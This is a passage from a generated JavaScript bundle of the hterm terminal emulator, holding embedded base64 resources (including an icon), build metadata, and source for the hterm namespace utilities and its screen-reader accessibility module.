'gA3h0lMCAAzcFv+S+fSSNkeYWlTpb34mf2RfmqqJeMeklhHAfu7VoAEACgAApKRktL+KkQDWMwYC' + 'UAAAAHCKsp80xhp91UjqQBw3x45cetqkjQEyu3G9B6N+R650Uq8OVig7wOm6Wun0ea4lKDPoabJs' + '6aLqgbhPzpv4KR4iODilw88ZpY7q1IOMcbASAOAVtmcCnobcrkG4KGS7/ZnskVWRNF9J0RUHKOnB' + 'yy9WA8Dv6L4AAARMCQUA4GritfVM2lcZfH3Q3T/vZ47J2YHhcmBazjfdyuV25gLAzrc0cwAAAAAY' + 'Ch6PdwAAAGyWjFW4yScjaWa2mGcofHxWxewKALglWBpLUvwwk+UOh5eNGyUOs1/EF+pZr+ud5Ozo' + 'GwYdAABg2p52LiSgAY/ZVlOmilEgHn6G3OcwYjzI7vOj1t6xsx4S3lBY96EUQBF6AIBAmPYH4PoG' + 'YCoJAADWe+OZJZi7/x76/yH7Lzf9M5XzRKnFPmveMsilQHwVAAAAAKB3LQD8PCIAAADga0QujBLy' + 'wzeJ4a6Z/ERVBAUlAEDqvoM7BQBAuAguzFqILtmjH3Kd4wfKobnOhA3z85qWoRPm9hwoOHoDAAlC' + 'bwDAA56FHAuXflHo3fe2ttG9XUDeA9YmYCBQ0oPr/1QC8IvuCwAAApbUAQCK22MmE3O78VAbHQT9' + 'PIPNoT9zNc3l2Oe7TAVLANBufT8MAQAAAGzT4PS8AQAAoELGHb2uaCwwEv1EWhFriUkbAaAZ27/f' + 'VZnTZXbWz3BwWpjUaMZKRj7dZ0J//gUeTdpVEwAAZOFsNxKAjQSgA+ABPoY8Jj5y2wje81jsXc/1' + 'TOQWTDYZBmAkNDiqVwuA2NJ9AQAAEBKAt9Vrsfs/2N19MO91S9rd8EHTZHnzC5MYmfQEACy/FBcA' + 'AADA5c4gi4z8RANs/m6FNXVo9DV46JG1BBDukqlw/Va5G7QbuGVSI+2aZaoLXJrdVj2zlC9Z5QEA' + 'EFz/5QzgVZwAAAAA/oXcxyC6WfTu+09Ve/c766J4VTAGUFmA51+VANKi/QPoPwYgYAkA715OH4S0' + 's5KDHvj99MMq8TPFc3roKZnGOoT1bmIhVgc7XAMBAAAAAMAW1VbQw3gapzOpJd+Kd2fc4iSO62fJ' + 'v9+movui1wUNPAj059N3OVxzk4gV73PmE8FIA2F5mRq37Evc76vLXfF4rD5UJJAw46hW6LZCb5sN' + 'Ldx+kzMCAAB+hfy95+965ZCLP7B3/VlTHCvDEKtQhTm4KiCgAEAbrfbWTPssAAAAXpee1tVrozYY' + 'n41wD1aeYtkKfswN5/SXPO0JDnhO/4laUortv/s412fybe/nONdncoCHnBVliu0CQGBWlPY/5Kwo' + 'm2L/kruPM6Q7oz4tvDQy+bZ3HzOi+gNHA4DZEgA='); lib.resource.add('hterm/images/icon-96', 'image/png;base64', 'iVBORw0KGgoAAAANSUhEUgAAAGAAAABgCAYAAADimHc4AAAStklEQVR42u1dBXjrupL+RzIGmjIf' + 'vAcu42NmZub3lpmZmZmZmRkuMzPDYaYyJG0Sa9b2p2z1eQtp7bzefpv/nKnkkSw7Gg1IshNsDtpo' + 'o4022mijDWp/tlTgzbpJSqYvMoFTC9vjRD5JLb9RYaRkpk22SS28P8pacAaPdZ41KYMCI89YB6wN' + '3JzQJM3UIGqurfTlKQTAZtqENid5SlNdU804VmbbWQtA6HMkAAdADsBeAJ7mxwIhIhFSXJ9iRPw4' + 'JYDEcqmGWEp1HhCI8gAtpXF7scB1ZRH9E3HObANCNy1AoGTegNDnCdE41tfQDH2t+CINQEpJ9Xp9' + '7oUDh3+nXK48DYAMIWQmANIkNTn6vP69e3d/zctfeu0nXNexmVn3F0gDAMxMlBoHuht0qnsEEekC' + '42SdGHmNxgVjgk4bPN04Yui8bhc534cQBH35RKrPN9sGdLnB1/Wuv+HW4f+6/tZvBHAaAJvmKr0A' + 'jJGvyQMw8pLrrvqeT378Ax8UwrKeevoFgEhfjcGGO2JO+iuTt1SW5DHzyraDExyTlWwHjCQ/CAJc' + 'ecU+XHn5xWDmVCGQFAKljsLbx8Ynvv3Bhx7/EQCzurimU04jADLsvK3r73/7W1//g1/6hU++uVqt' + '0X/dcBcKxRIsy9Ji34DPow2et6FzgcXFKk6fOY83vu4VEFKkDiYHB3roSz73sc+Oj08eOHzk+B9o' + 'MyQABGk0gCIyOt9xHPvaD3/wnT/5VV/+meumpmbwD/98A0qdvVEBNhvMDCJaVXtM01GtVlEs+LBt' + 'C1ngzW98tX/m7Llv/emf+83HarX6vbrfGECQRgBmlLP9Ix961499+zd/5XVj45P407/8FxQ7uiGl' + 'QK1Ww1ZCvR6gXq3AsgQ8zwYzUkMIgXe+/Q1Dd9x5/6duv/P+R7QjprQaIHQd/8orLvnCJz/2/pfm' + 'cj7+6rf+DK5XgOu6sT3dQtBawqjW6lhYXIRlSTAjE/T39eLSS/ZeEwqgE8CiYUV4vQIgTULTyFve' + '9Or3WJZN/3n9HTh3fgrFjhJmZmawFaGUwkJlEffc9xh83wMYqcFg7Noxinw+l9OBikirAabz7eju' + '6sxJKTE7W4bn5+D7PrYmtI/gAFJasCwb4IzaBMHzXE8LgBJC4I1GQRKAa4Xo6upEsZiH53nIRYLe' + 'olDMCIIq+nq70dFRAGckgFKpAD+UgBaAgfRRkGvbliwUcoh8ABHFYSfWMnBrxOzL12PwKufzSvV5' + '5Tpmi5a0IASBQCgWcujs7ABn5AQic+b5rhNlAVAmTliTEwnA990wIxEEdUQYnxjHidMnAUIcBYAB' + 'RqNDdC7BM8t0VtfTnGRd8FKdRIjJcVlCsAbPPA5UAK4rXLJjP7aNbkO9XoPrOrEQWHEm69Kua0ca' + 'YEspvCBQ5toSp9EASCkt27ZF1PlCxBOZOPo5feY0Xpg8jHe/7V3YNjhqjDRac3mMVl1Oo40vtREt' + 'W+2FYwdw/S03YHJ6EkODQ1hcXIQUcaeBlUIWsCwZ+QDLdZxcubKAtBpgNmzZliUa6yLMKiRGoBR2' + '79yN6666FlJYABgvRhAIncUSHn/iCdQrAZjjSAiKFQQRVEhZIRJASJEACICmlAKQUtqhBETjw5ij' + 'uFqr4oWjBwHmF7/jVUHc6aRNXxAoZA3PdYXruvlldJfTaIATaQA4KU/CzNwMDp84DOYXf+hZXiij' + 'hJz+DK0QAEd+RYTOOAcgMw0g24oskNYAIoCXxDpbnsOxM8fB5qacwKZD+3WQcS+VxQrYYXNVNGMh' + 'I1odiIRQSHb8BmbCpgZYjmVLYi0ANmxQNKpOj50FFOB3WnDzEpOnFkGbuOXPimG5Ap0jLqZOLiKo' + 'MyIsVhfB9lLEpFSQ+S26jh2Fo/n0YagRCUlLRhpAAIMIyWl9vBinAkbfoIPXf+0wnrlxAs/dPInK' + 'VB1CUOsFkdhD6Nnp49oP98EvWfjvnzqGak0hVlwwFJsaoADK9vq2Y0eOOKUGJLTAjjQgFgBAy/gT' + 'vbGIyXC0nX66jJd+YgC7X1nCo39/AccfmUVQU1F5y0d9rsvGJW/txuXv7oGqMx7+2/OoVxWIzE5S' + 'OkfaBBGyhGPHc4G8YYjT+wDLDgUgJbQPWDGuL0/VcefvnMLRB2dw3Uf78dZv345D90zjsX++gPGj' + 'C7peC8yNI7DjpSVcE476rlEPB++awmP/dCEaEMtqbAP1Fqzkhn0VaUAegMzABJkaIMG8epNEiE3R' + '0funce75Mi4NR+MV7+3B6NUFPPnvY3jupslISJkKoW9PDld/sA+7Xt6B8SMV3Pjzx3Di0TkENQaJ' + '5A1qM8VRljKPgpg58pcNHyCz0ADSTnhNDTBBglCZruPhvz+PY4/M4Jqwg6772AB2vqwDd/zmKYwd' + 'WQAJpMalb+vGSz81AA6Ah/76HJ69KfI7tej6K7RPUKwaWQT1FmiAlJEJykXZZh5cE02FoaEJkpYE' + 'wGsKwNQGAnDhQAUP/915TJ5YwPCleZSG3WwWvwgYvryAYr8Tm5wn/2Mc5cm481c9RzXWobQPyBpS' + 'ikgDGgJAVvMARzY0AARwc7Y5Ckn3vK4TV7+/D5YncN+fnsWpJ+cgsnDICnj0n85DSOCSUBO6Rl08' + '8g8XcObZ+VgjSKweKRG1xgcIEQnA9QE46aMgwwlHAmBuOFFepeMRd8rI1cU4FBzYn8exh2bw6D9e' + 'wNihCjgrR0wI21vAzb9yIrT/pfha7/y+nXj+5gk8EWrDzJlF/WxQUgMUwEtREGW/5RlpgJdaABq0' + 'pAGicYFVFaBzxMGV7+vFvtd3YfpsFbf+6ok4KqovxqFoph+YBBAsMg7cPonTT83jsnd247J39IQR' + 'UUcceR28cxrVcrBUX2sAa1Nar7dCAwhevCkDN7UADB9gSyEBaBVYYeT37PTw9u/aAbcg8Pi/XMAz' + '109gfqLhFAktgX46LbrOg395DscemAnD0X68+suGQ+3L4Y7fOhVHRA00nDBRa3wAEGuAA8DbqABI' + 'kyEA2xFSrBHHM2xf4Ozz82HIOb5kbgSh1TDv69wLZdz0S8dxUTgRHLwkD2HRkgCIdBi6NBPmVpgg' + 'L7krBkrnA6xIA0Qjfl4x9Bw7XInDzHo1hblJbZYoNkvP3zqFw/fPIKgqGNC7aNoEtUQDEJkg23Ec' + 'v1qtrhkFiWYeTYzCUCEEeI15QDTSgjpnMerTmyUB1CsKrGACyvABQb1VAnAt13V8NAHRxGqotEMI' + 'QUbJFgGtMhNuqQa4Ui9HbEgDKFknioKIhC4kbGUwFBhsOGHO/AqhCxAh5dOsBZFBMoqCGhpARJv7' + 'ihul35oEt84E6U0ZCv1APp0T1tACsIhEpquZQhJsT2C9UAGjtqA2vDnPzOD/NUEqymcOJ94TcPJZ' + 'zYSFHYKIjHlA+iXk/kvyeO1XDENYtK6J16kn53H375+OBbFukBkFtWoewHAdJ1qQKwAQWcyEtQaQ' + '4QPSmk6KZ6gXDlVAcn0x9vTpxTSjdhkBcOYmSO+KNTZlKK0GWHYoASJkZoJIABPHFnDbb5zEFxts' + 'hqEtMkG2rfcEtAZsJAoimBpgGRqg062KVmsAmBH2V2NfWKZ1woxYAyIBwFABXma+nE30wytV4rU/' + 'OK9xLWaGUmpJAHE+awEDUsrGnoCERsooyJYALfPaOEHNByBl7BGwKQsy8kYLUZ1kOTXyZprgUYJH' + 'SBzrctLHDZ6huflCLt61qtWDWAMawsgOWgCe5+v+JYN4vT6AtAbIpSCIGuEcRoaG8TrXRcwzCeZ7' + 'u2gcm4QIZn0QEudC5wGYdYxUt2PyjRSAyWsc6mvW6hW0CnpXzAdgQ6NZAdByJsgKBQAQGCp+oQFQ' + '8ePdhUIBxWJxXfrJYKQHNRUMMK9kuwhzc3O4eO+eeLQqpbLfFfMaAgAnhdDccrSpAZYtAUApxujI' + 'EN725lfg3//7bvT19cOyLJhg44/ZCTo1y40yI79qmT4/5un2jTx0+XLtmAOAlUJXVx6ve83LdFkr' + 'dsWMTZkUTpikjFyAJUxHFr6oDc918cDDT6KyMB8xzVFpmBpAGGZHiCgVZgoRphSlQkCQTvXxEhFk' + 'lMolXnyseY28NMtlIjXaCzsHO7aPoFDIQ6nWCMDzXS2AdJvybMl4HiaSLyK89S2vxRte/wrU6vXG' + 'IFrzOxdWTZcaMNtCgq15a9vNtWyTMjUncwEguSu2ISesO3vp3YDkE2ZSypiyQMO0JO331gTFryoJ' + 'IXylVLrFOCtEpAHmaG5jbQ3Qb8r45XKFN2qCOCJpSUsxi/n5SlOP8rXB0WpoUgC8HgGwQYqI7AMH' + 'j1G9zk2Ea20wgI5iPhqs8dMk6/26GrOyiqharc16nlffvn3EaWtAc/BcBw8+/Ojc+PjkKaMvuWkN' + 'ME+YnZ17+rnnDxweHOi9iCM+gzbLOXLrG8piu46JIO5/4NHD9XpwbEPfEqjJ01R0XecDYcz8lvhF' + 'MSEkwJIBaU76AZA+SsST5oHOmidqvsHQieYk6ya/ucysT/pPon6yLum/5tXN4uV45ocAKHEeWFdQ' + 'YcpKKb4wNnH/xMTUjwGYArBofLHfuhfjeO+eXbu+/ms+946JyWl16NAxWmV80AZGImW+M0z/dxWU' + 'NbvJNQzaqNK4ro13v/NN9C//doP4gz/+mxKAWWNQb2hHzL/s0n1XDfT3W3fe8wRAVmLytCE56HM3' + 'LL/E+bRqb+niFZ9rSvD0nnHzd2Y+M3vs5Ckwc/S9QQMABgGc0cvS9fU8migi0uUDey7asfvQ4eMQ' + 'louuzs74Am0sL4TZQhHHTpzG8FB/qdRR3DU9M/sUgJqmphfjhJaa9H1v9/Ztw/1PPn0QtWoNs7Oz' + 'WBltATiOixMnzuCS/bvtgTBwCQXg6s5fNLdTmnkuSAKww0WrS7q6St7E5Ax6egbWWHpow3EcnDs/' + 'EX8v6fDw4J4XDhzxASwAEOvSAF2Wu2j3jssAQqVSQ6+ULTQ/W3+pQy/dYHauEi9Sbhsd2gGgqB2x' + 'BEDN+gCpy3rCCGjP5OQ0FHO0idGeDTexHRkoxvjEJHZsGxkE0APgnO5TYc6x1hKAIKJtu3dtGzp1' + '+hyKxY5oB6wpDWibIRenTp3D6OhQl5RyMAiC5w0TRCtpACW+rM8aGR7cPzTYX3ziqQPw/dzmm4gt' + 'YOaYGZ7n4cTJs3jVK67xw++l23723AVtURLhaFIDEuGnG47+S33fo8mpWZQ6XUxPT6ONtfeD7dgR' + 'j6NQyNHQ0MCOUAA2ANmMBpAhhGJo//eFy6lgFsjn823zsw6cnhyHUhw74kcfe8ozfMCKAkjOAYb2' + '7tk5cubsBTiuF3v35h1w2xwpRmgxZrBj+/AIgA4AY7pfsZYGyIi6uzv3hHOArocefQbMwNTUVFsD' + 'mjdDIUmcDgfv6OhwH4CIjie0gJfVAF3J2bVjWzgB65TnL0ygs7NrnROwthZUqzWcPHUOV1y2txiu' + 'JA/Pzc0/spYJEob5ye/Zs/NiZka5XEVPr4821gfP9xAN3nA9yB4c6Nt+cG5eLvPGDCdNUKNS7769' + 'u3ZGX1NfqwfR+s//C/PDnH5TRq+kxun8fBkdxQJGhgd2Hjx01BBAwgQl7L/I5fyd4RJE3+TUdNjI' + 'PKSc0AJg/T+JxNNnK5Uly3VuterJOpzh3hmts5DWKExy3/j6l2J4eAAjI4PbjG9UF6YQrMaBWRCu' + 'fu4fHRn0Bvp7USzkUS4vmD9as+IP3cSHWL5eXGTUizk6v/IDubodM7+++qs+ENbsg2RxLlE/5pr1' + 'Ew8H25aFnp6u2CFvGx0e0JHQGdMEJTWgkTo7d4xe3NfXg1KpiLe86TWg9ONtc3eKuVX3yatei5m1' + 'AIa6pRT9QaCeb2YporBzx7Zd0chnRkgKbaSLsMLZcK6/rzecU53n5TSAEkw/HPkFy86BpJtq3LRB' + 'IK6jq7NDhPOqPi0A0+cuuxq6EMas5bGJaVQWFWgTbrqVTdEX9f4ZvmfB9/3Il5bW2hNmnZbDB4om' + 'Lpw/h7n5RYCa+3E0ToY4Jp9XiGSYk/WMvHmlxDEn7yN5ffN4mTzrM808G+0leJqVbG81njbfjFJH' + 'Hr4no4lZ3fjRT06GoWxQ+eFHn7rTz/1Tv5QSrBQpZrAmfVMaQJyNOXHOPESjztJfs54uxFJWl5q1' + 'zYuZRzD+RzAPEufoJFln2TyMv8axwUheJPGRVSMFEHe4ZckqMy8cOXLin5f7xVUyyPypwhKAHp13' + 'IjJCVW4iHGAz30Q5mmx3I+dwyvbWE36x0ck1AFW9Gb+g06qmWkMQVuLEQEtuVldyjR/vFJqyjxNb' + '6+mTA6DV96HMvkx0ej2pAZZxoBL5QJ8oDKIW3jxnfA5twj1xUhPMjjd9wGpOOEgIgUzaxFG8RZ4F' + 'Tgxos9N1atajtd+S1LytA26p8NKbQE7/0+BtpNakNtpoo4022vgf7lRPtKCE39oAAAAASUVORK5C' + 'YII='); lib.resource.add('hterm/concat/date', 'text/plain', 'Tue, 03 Jul 2018 10:10:21 +0000'); lib.resource.add('hterm/changelog/version', 'text/plain', '1.80'); lib.resource.add('hterm/changelog/date', 'text/plain', '2018-06-22'); lib.resource.add('hterm/git/HEAD', 'text/plain', '7466ad240f52b4efaf076bd14842d3b045e846ad');// This file was generated by libdot/bin/concat.sh.
// It has been marked read-only for your safety.  Rather
// than edit it directly, please modify one of these source
// files...
//
// hterm/js/hterm.js
// hterm/js/hterm_accessibility_reader.js
// hterm/js/hterm_frame.js
// hterm/js/hterm_keyboard.js
// hterm/js/hterm_keyboard_bindings.js
// hterm/js/hterm_keyboard_keymap.js
// hterm/js/hterm_keyboard_keypattern.js
// hterm/js/hterm_options.js
// hterm/js/hterm_parser.js
// hterm/js/hterm_parser_identifiers.js
// hterm/js/hterm_preference_manager.js
// hterm/js/hterm_pubsub.js
// hterm/js/hterm_screen.js
// hterm/js/hterm_scrollport.js
// hterm/js/hterm_terminal.js
// hterm/js/hterm_terminal_io.js
// hterm/js/hterm_text_attributes.js
// hterm/js/hterm_vt.js
// hterm/js/hterm_vt_character_map.js
//
// SOURCE FILE: hterm/js/hterm.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict'; lib.rtdep('lib.Storage');/**
* @fileoverview Declares the hterm.* namespace and some basic shared utilities
* that are too small to deserve dedicated files.
*/var hterm = {};/**
* The type of window hosting hterm.
*
* This is set as part of hterm.init().  The value is invalid until
* initialization completes.
*/hterm.windowType = null;/**
* The OS we're running under.
*
* Used when setting up OS-specific behaviors.
*
* This is set as part of hterm.init().  The value is invalid until
* initialization completes.
*/hterm.os = null;/**
* Warning message to display in the terminal when browser zoom is enabled.
*
* You can replace it with your own localized message.
*/hterm.zoomWarningMessage = 'ZOOM != 100%';/**
* Brief overlay message displayed when text is copied to the clipboard.
*
* By default it is the unicode BLACK SCISSORS character, but you can
* replace it with your own localized message.
*
* This is only displayed when the 'enable-clipboard-notice' preference
* is enabled.
*/hterm.notifyCopyMessage = '\u2702';/**
* Text shown in a desktop notification for the terminal
* bell.  \u226a is a unicode EIGHTH NOTE, %(title) will
* be replaced by the terminal title.
*/hterm.desktopNotificationTitle = '\u266A %(title) \u266A';/**
* List of known hterm test suites.
*
* A test harness should ensure that they all exist before running.
*/hterm.testDeps = ['hterm.AccessibilityReader.Tests', 'hterm.ScrollPort.Tests', 'hterm.Screen.Tests', 'hterm.Terminal.Tests', 'hterm.VT.Tests', 'hterm.VT.CannedTests'];/**
* The hterm init function, registered with lib.registerInit().
*
* This is called during lib.init().
*
* @param {function} onInit The function lib.init() wants us to invoke when
*     initialization is complete.
*/lib.registerInit('hterm', function (onInit) {
function initOs(os) { hterm.os = os; onInit(); } function initMessageManager() {
lib.f.getAcceptLanguages(function (languages) {
if (!hterm.messageManager) hterm.messageManager = new lib.MessageManager(languages);// If OS detection fails, then we'll still set the value to something.
// The OS logic in hterm tends to be best effort anyways.
lib.f.getOs().then(initOs).catch(initOs);
});
} function onWindow(window) { hterm.windowType = window.type; initMessageManager(); } function onTab(tab) {
if (tab && window.chrome) { chrome.windows.get(tab.windowId, null, onWindow); } else {// TODO(rginda): This is where we end up for a v1 app's background page.
// Maybe windowType = 'none' would be more appropriate, or something.
hterm.windowType = 'normal'; initMessageManager();
}
} if (!hterm.defaultStorage) { if (window.chrome && chrome.storage && chrome.storage.sync) { hterm.defaultStorage = new lib.Storage.Chrome(chrome.storage.sync); } else { hterm.defaultStorage = new lib.Storage.Local(); } }// The chrome.tabs API is not supported in packaged apps, and detecting if
// you're a packaged app is a little awkward.
var isPackagedApp = false; if (window.chrome && chrome.runtime && chrome.runtime.getManifest) { var manifest = chrome.runtime.getManifest(); isPackagedApp = manifest.app && manifest.app.background; } if (isPackagedApp) {// Packaged apps are never displayed in browser tabs.
setTimeout(onWindow.bind(null, { type: 'popup' }), 0);
} else {
if (window.chrome && chrome.tabs) {// The getCurrent method gets the tab that is "currently running", not the
// topmost or focused tab.
chrome.tabs.getCurrent(onTab);
} else { setTimeout(onWindow.bind(null, { type: 'normal' }), 0); }
}
});/**
* Return decimal { width, height } for a given dom node.
*/hterm.getClientSize = function (dom) { return dom.getBoundingClientRect(); };/**
* Return decimal width for a given dom node.
*/hterm.getClientWidth = function (dom) { return dom.getBoundingClientRect().width; };/**
* Return decimal height for a given dom node.
*/hterm.getClientHeight = function (dom) { return dom.getBoundingClientRect().height; };/**
* Copy the current selection to the system clipboard.
*
* @param {HTMLDocument} The document with the selection to copy.
*/hterm.copySelectionToClipboard = function (document) {
try { document.execCommand('copy'); } catch (firefoxException) {// Ignore this. FF throws an exception if there was an error, even though
// the spec says just return false.
}
};/**
* Paste the system clipboard into the element with focus.
*
* Note: In Chrome/Firefox app/extension environments, you'll need the
* "clipboardRead" permission.  In other environments, this might always
* fail as the browser frequently blocks access for security reasons.
*
* @param {HTMLDocument} The document to paste into.
* @return {boolean} True if the paste succeeded.
*/hterm.pasteFromClipboard = function (document) {
try { return document.execCommand('paste'); } catch (firefoxException) {// Ignore this.  FF 40 and older would incorrectly throw an exception if
// there was an error instead of returning false.
return false;
}
};/**
* Return a formatted message in the current locale.
*
* @param {string} name The name of the message to return.
* @param {Array<string>=} args The message arguments, if required.
* @param {string=} string The default message text.
* @return {string} The localized message.
*/hterm.msg = function (name) { var args = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : []; var string = arguments[2]; return hterm.messageManager.get('HTERM_' + name, args, string); };/**
* Create a new notification.
*
* @param {Object} params Various parameters for the notification.
* @param {string} params.title The title (defaults to the window's title).
* @param {string} params.body The message body (main text).
*/hterm.notify = function (params) {
var def = function def(curr, fallback) { return curr !== undefined ? curr : fallback; }; if (params === undefined || params === null) params = {};// Merge the user's choices with the default settings.  We don't take it
// directly in case it was stuffed with excess junk.
var options = { 'body': params.body, 'icon': def(params.icon, lib.resource.getDataUrl('hterm/images/icon-96')) }; var title = def(params.title, window.document.title); if (!title) title = 'hterm'; title = lib.f.replaceVars(hterm.desktopNotificationTitle, { 'title': title }); var n = new Notification(title, options); n.onclick = function () { window.focus(); this.close(); }; return n;
};/**
* Launches url in a new tab.
*
* @param {string} url URL to launch in a new tab.
*/hterm.openUrl = function (url) {
if (window.chrome && chrome.browser && chrome.browser.openTab) {// For Chrome v2 apps, we need to use this API to properly open windows.
chrome.browser.openTab({ 'url': url });
} else { var win = window.open(url, '_blank'); win.focus(); }
};/**
* Constructor for a hterm.Size record.
*
* Instances of this class have public read/write members for width and height.
*
* @param {integer} width The width of this record.
* @param {integer} height The height of this record.
*/hterm.Size = function (width, height) { this.width = width; this.height = height; };/**
* Adjust the width and height of this record.
*
* @param {integer} width The new width of this record.
* @param {integer} height The new height of this record.
*/hterm.Size.prototype.resize = function (width, height) { this.width = width; this.height = height; };/**
* Return a copy of this record.
*
* @return {hterm.Size} A new hterm.Size instance with the same width and
* height.
*/hterm.Size.prototype.clone = function () { return new hterm.Size(this.width, this.height); };/**
* Set the height and width of this instance based on another hterm.Size.
*
* @param {hterm.Size} that The object to copy from.
*/hterm.Size.prototype.setTo = function (that) { this.width = that.width; this.height = that.height; };/**
* Test if another hterm.Size instance is equal to this one.
*
* @param {hterm.Size} that The other hterm.Size instance.
* @return {boolean} True if both instances have the same width/height, false
*     otherwise.
*/hterm.Size.prototype.equals = function (that) { return this.width == that.width && this.height == that.height; };/**
* Return a string representation of this instance.
*
* @return {string} A string that identifies the width and height of this
*     instance.
*/hterm.Size.prototype.toString = function () { return '[hterm.Size: ' + this.width + ', ' + this.height + ']'; };/**
* Constructor for a hterm.RowCol record.
*
* Instances of this class have public read/write members for row and column.
*
* This class includes an 'overflow' bit which is use to indicate that an
* attempt has been made to move the cursor column passed the end of the
* screen.  When this happens we leave the cursor column set to the last column
* of the screen but set the overflow bit.  In this state cursor movement
* happens normally, but any attempt to print new characters causes a cr/lf
* first.
*
* @param {integer} row The row of this record.
* @param {integer} column The column of this record.
* @param {boolean} opt_overflow Optional boolean indicating that the RowCol
*     has overflowed.
*/hterm.RowCol = function (row, column, opt_overflow) { this.row = row; this.column = column; this.overflow = !!opt_overflow; };/**
* Adjust the row and column of this record.
*
* @param {integer} row The new row of this record.
* @param {integer} column The new column of this record.
* @param {boolean} opt_overflow Optional boolean indicating that the RowCol
*     has overflowed.
*/hterm.RowCol.prototype.move = function (row, column, opt_overflow) { this.row = row; this.column = column; this.overflow = !!opt_overflow; };/**
* Return a copy of this record.
*
* @return {hterm.RowCol} A new hterm.RowCol instance with the same row and
* column.
*/hterm.RowCol.prototype.clone = function () { return new hterm.RowCol(this.row, this.column, this.overflow); };/**
* Set the row and column of this instance based on another hterm.RowCol.
*
* @param {hterm.RowCol} that The object to copy from.
*/hterm.RowCol.prototype.setTo = function (that) { this.row = that.row; this.column = that.column; this.overflow = that.overflow; };/**
* Test if another hterm.RowCol instance is equal to this one.
*
* @param {hterm.RowCol} that The other hterm.RowCol instance.
* @return {boolean} True if both instances have the same row/column, false
*     otherwise.
*/hterm.RowCol.prototype.equals = function (that) { return this.row == that.row && this.column == that.column && this.overflow == that.overflow; };/**
* Return a string representation of this instance.
*
* @return {string} A string that identifies the row and column of this
*     instance.
*/hterm.RowCol.prototype.toString = function () { return '[hterm.RowCol: ' + this.row + ', ' + this.column + ', ' + this.overflow + ']'; };// SOURCE FILE: hterm/js/hterm_accessibility_reader.js
// Copyright 2018 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';/**
* AccessibilityReader responsible for rendering command output for AT.
*
* Renders command output for Assistive Technology using a live region. We don't
* use the visible rows of the terminal for rendering command output to the
* screen reader because the rendered content may be different from what we want
* read out by a screen reader. For example, we may not actually render every
* row of a large piece of output to the screen as it wouldn't be performant.
* But we want the screen reader to read it all out in order.
*
* @param {HTMLDivElement} div The div element where the live region should be
*     added.
*/hterm.AccessibilityReader = function (div) {
this.document_ = div.ownerDocument;// The live region element to add text to.
var liveRegion = this.document_.createElement('div'); liveRegion.id = 'hterm:accessibility-live-region'; liveRegion.style.cssText = 'position: absolute;\n                              width: 0; height: 0;\n                              overflow: hidden;\n                              left: 0; top: 0;'; div.appendChild(liveRegion);// Whether command output should be rendered for Assistive Technology.
// This isn't always enabled because it has an impact on performance.
this.accessibilityEnabled = false;// This live element is used for command output.
this.liveElement_ = this.document_.createElement('p'); this.liveElement_.setAttribute('aria-live', 'polite'); this.liveElement_.setAttribute('aria-label', ''); liveRegion.appendChild(this.liveElement_);// This live element is used for speaking out the current screen when
// navigating through the scrollback buffer. It will interrupt existing
// announcements.
this.assertiveLiveElement_ = this.document_.createElement('p'); this.assertiveLiveElement_.setAttribute('aria-live', 'assertive'); this.assertiveLiveElement_.setAttribute('aria-label', ''); liveRegion.appendChild(this.assertiveLiveElement_);// A queue of updates to announce.
this.queue_ = [];// A timer which tracks when next to add items to the live region. null when
// not running. This is used to combine updates that occur in a small window,
// as well as to avoid too much output being added to the live region in one
// go which can cause the renderer to hang.
this.nextReadTimer_ = null;
};/**
* Delay in ms to use for merging strings to output.
*
* We merge strings together to avoid hanging the terminal and to ensure that
* aria updates make it to the screen reader. We want this to be short so
* there's not a big delay between typing/executing commands and hearing output.
*
* @constant
* @type {integer}
*/hterm.AccessibilityReader.DELAY = 90;/**
* Enable accessibility-friendly features that have a performance impact.
*
* @param {boolean} enabled Whether to enable accessibility-friendly features.
*/hterm.AccessibilityReader.prototype.setAccessibilityEnabled = function (enabled) { if (!enabled) { this.clear(); } this.accessibilityEnabled = enabled; };/**
* Announce the command output.
*
* @param {string} str The string to announce using a live region.
*/hterm.AccessibilityReader.prototype.announce = function (str) {
if (!this.accessibilityEnabled) { return; } if (this.queue_.length == 0) { this.queue_.push(str); } else {// We put a space between strings that appear on the same line.
// TODO(raymes): We should check the location on the row and not add a space
// if the strings are joined together.
var padding = ''; if (this.queue_[this.queue_.length - 1].length != 0) { padding = ' '; } this.queue_[this.queue_.length - 1] += padding + str;
}// If we've already scheduled text being added to the live region, wait for it
// to happen.
if (this.nextReadTimer_) { return; }// If there's only one item in the queue, we may get other text being added
// very soon after. In that case, wait a small delay so we can merge the
// related strings.
if (this.queue_.length == 1) { this.nextReadTimer_ = setTimeout(this.onNextReadTimer_.bind(this), hterm.AccessibilityReader.DELAY / 2); } else { throw new Error('Expected only one item in queue_ or nextReadTimer_ to be running.'); }
};/**
* Announce the current screen of content. This will interrupt existing
* announcements.
*
* @param {string} str The string to announce using a live region.
*/hterm.AccessibilityReader.prototype.announceCurrentScreen = function (str) { if (!this.accessibilityEnabled) { return; } this.clear(); this.assertiveLiveElement_.setAttribute('aria-label', str); };/**
* Add a newline to the text that will be announced to the live region.
*/hterm.AccessibilityReader.prototype.newLine = function () {
if (!this.accessibilityEnabled) { return; }// Don't append to the queue if the queue is empty. It won't have any impact.
if (this.queue_.length > 0) { this.queue_.push(''); }
};/**
* Clear the live region and any in-flight announcements.
*/hterm.AccessibilityReader.prototype.clear = function () { this.liveElement_.setAttribute('aria-label', ''); this.assertiveLiveElement_.setAttribute('aria-label', ''); clearTimeout(this.nextReadTimer_); this.nextReadTimer_ = null; this.queue_ = []; };/**
* Add text from queue_ to the live region.
*
*/hterm.AccessibilityReader.prototype.addToLiveRegion_ = function () {
if (this.nextReadTimer_) { throw new Error('Expected nextReadTimer_ not to be running.'); }// As soon as the aria-label is changed, the screen reader will be informed so
// we can re-use the same element.
// TODO(raymes): One downside of this approach is that strings that span two
// calls to addToLiveRegion_ will have a newline placed between them. We could
// try to use heuristics to avoid this but it would be more complicated and it
// should only happen for large amounts of output.
this.liveElement_.setAttribute('aria-label', this.queue_.join('\n')); this.queue_ = [];
};/**
* Fired when nextReadTimer_ finishes.
*
* This clears the aria-label attribute and sets up a call to onClearFinished_.
*/hterm.AccessibilityReader.prototype.onNextReadTimer_ = function () {
this.liveElement_.setAttribute('aria-label', '');// We need to wait for the screen reader to register that the attribute is
// cleared. This is only necessary if the string to be announced is identical
// to the previous string to be announced.
